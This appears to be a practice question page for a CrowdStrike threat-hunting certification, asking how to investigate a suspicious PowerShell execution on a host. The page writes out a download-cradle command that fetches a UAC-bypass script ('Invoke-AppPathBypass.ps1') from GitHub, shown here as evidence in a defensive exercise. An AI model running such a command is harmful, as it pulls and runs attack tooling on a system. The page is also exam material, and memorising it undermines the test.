CCFH-202B: CrowdStrike Certified Falcon Hunter

By CrowdStrike · Question Mode

QuestionQ11

VerifiedHunting Methodology

While hunting for unusual PowerShell commands, you find the following command running on one host:

powershell.exe "(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/.../Invoke-AppPathBypass.ps1')"

The process tree for this command is:

winlogon.exe > userinit.exe > explorer.exe > powershell_ise.exe > powershell.exe

All commands ran during normal working hours under an IT department user's account.

What should your next investigation steps be?

Explanation

Contextual investigation should precede containment or automated remediation when potentially suspicious activity may be authorized. Reviewing events approximately 10 minutes before and after execution can reveal the script’s download, execution, follow-on behavior, and related user activity; confirming with the IT user establishes whether the activity was authorized testing.

Community Discussion

No comments yet. Be the first to start the discussion!